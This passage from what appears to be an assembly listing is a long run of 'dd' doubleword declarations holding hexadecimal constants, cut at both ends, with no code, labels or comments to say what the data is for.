8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh, 0C27ECA75h dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h, 0E5CE5535h dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h, 1CF66FA9h dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh, 56C22B52h dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h, 3D5DD9h dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h, 0F27F970h dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh, 5F61ABDEh dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh, 6DA75204h dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh, 7214E212h dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch, 392FDE6Eh dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h, 151CF165h dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h, 0DA848B74h dd 3C9276D3h, 6D37CB9h, 2AFDE550h, 36D7B1E5h, 0A0B9E52Dh dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h, 1BFBB86Dh dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h, 9CF9081Ch dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h, 1BFFFFC7h dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h, 3631629Bh dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h, 0B6D568B6h dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch, 74AA1D5Dh dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h, 0EEFBA097h dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h, 89DCC415h dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h, 0FFDAD3h dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h, 29668FE5h dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h, 852F7A0Dh dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh, 0F866A565h dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h, 0C62BB7A1h dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh, 9BC252AFh dd 8B86FCC2h, 8755166h dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h, 0CEB09714h dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h, 447E7BB7h dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h, 42ACB48h dd 0B76A95h, 64BDA072h, 9DD35DEDh, 1614D019h, 0EF296EA5h dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h, 67CDB88Dh dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h, 89AC8E8Ah dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh dd 21D94001h, 96B3AD7h, 4DD5A64Fh, 0D567F011h, 2181F4A8h dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h dd 0C9E7111h, 1C946DDh, 7934096Dh, 0CE18603Fh, 0B7D3E14Bh dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h, 539BD830h dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah, 783DE32Ch dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh dd 89B043Ah, 0A9083F9h, 0F62DFB3Ah, 2DC33E81h, 0F19D528h dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h, 0E71AB0C8h dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h, 359AF28Ch dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh, 8C93CADEh dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h, 0D19C9AC9h dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h dd 0ABE81A0h, 9487E03h, 28C5400Dh, 0D3D8631Eh, 813FB1A0h dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h dd 440C91Bh, 8E3DF2EBh, 2A2AA6A3h, 3F8CB9C3h, 0C058967h dd 39FCA5F2h, 73450DDh, 0AA216AB5h, 140E8A7Ch, 6DDAE004h dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh, 33D649B9h dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh, 0EC20D987h dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h, 0FBD23A19h dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h, 0DC568738h dd 8BF65F81h, 4FE3AFEh, 7B7126F1h, 2CFAAB3Ch, 0A9D8F041h dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh, 0F55705DDh dd 781D82Ah, 27D58967h, 8C47FBBAh, 0E034ED5Dh, 0E34FEA47h dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h, 0C5590FA7h dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h, 7304DD0Fh dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h, 34C9B828h dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h, 0CEEBC74Fh dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h, 0A5E0E4BBh dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch, 44A05ED6h dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h dd 79B09B5Fh, 96795A9h, 0C6B65AFAh, 0B37B2BEEh, 0BF662DE6h dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh dd 45148196h, 39B05CEh, 6D2E4517h, 0EEB60BC5h, 26F73682h dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch, 3D658F1Eh dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh, 0BD71BEFAh dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h, 99FFEAA1h dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh, 6AE37D32h dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h, 5F58E3Ah dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h, 0F417201Ch dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h, 5DA19E0h dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh dd 97E71300h, 6688A54Fh dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h, 8A988AB3h dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h, 0E55FB898h dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h, 282BE400h dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h, 6933A45Bh dd 5F48D97Eh, 96BD682h, 0D2FD64Ah, 16F11365h, 7F733092h dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h, 0CD5852A1h dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h, 221A27C2h dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h, 0A976B7D8h dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h, 0FD6C7B1Ch dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh, 3D4500EFh dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh, 9E7A20EFh dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch, 0DE854992h dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh, 71A855C4h dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h, 0DF9DEF5Eh dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h, 2FEA5496h dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh, 0CD5D5279h dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah, 8B5E8686h dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 109C5F14h dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh, 820C793Fh dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h, 254E8146h dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh, 3C52FCB1h dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh, 0B28CF569h dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h, 0F73953D2h dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h, 0ED14EE4Ah dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh, 0CD5B21Eh dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h, 92DDE65Fh dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh, 0AB69D028h dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h, 6BFA2E74h dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh, 0E8558D2Dh dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah, 0DABF4DC8h dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah, 65FF967Fh dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h, 17FEAB84h dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h dd 0DF4FAB5h, 8D924D3h, 135033EBh, 15D77893h, 89A033FEh dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h, 0A906CE6h dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah dd 834C2C60h, 52FFC43h, 1E98AB59h, 9959ED59h, 0FB0ABD2Dh dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h, 4425A545h dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh, 0B134BCACh dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h, 7152783Dh dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh, 795D0C32h dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h, 0CB22D362h dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh, 0F3258B55h dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh, 1BCA7E30h dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h, 0B351D07Bh dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h, 0ED3B42F2h dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh, 26AF0589h dd 4DE0EC55h, 0BDFE46DBh dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h, 3EB18CBBh dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh, 9FA3236Bh dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h, 0BF9498B8h dd 386E115Bh, 0CCF0D6DCh, 8544CA02h, 6738FDBEh, 3081FAC0h dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch, 8E5A358Fh dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h dd 4928D39Eh, 0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h, 8347BDAAh dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h, 0A7DC1A94h dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh, 948D7C21h dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh, 0E67C98CEh dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh, 0A69B9A6Eh dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h, 5E871486h dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh, 0CA63E530h dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah, 0D90F6727h dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h, 9A474668h dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh, 551C9933h dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h, 88259E95h dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h, 59BC87E8h dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh, 0C706B0D6h dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h, 31C4A615h dd 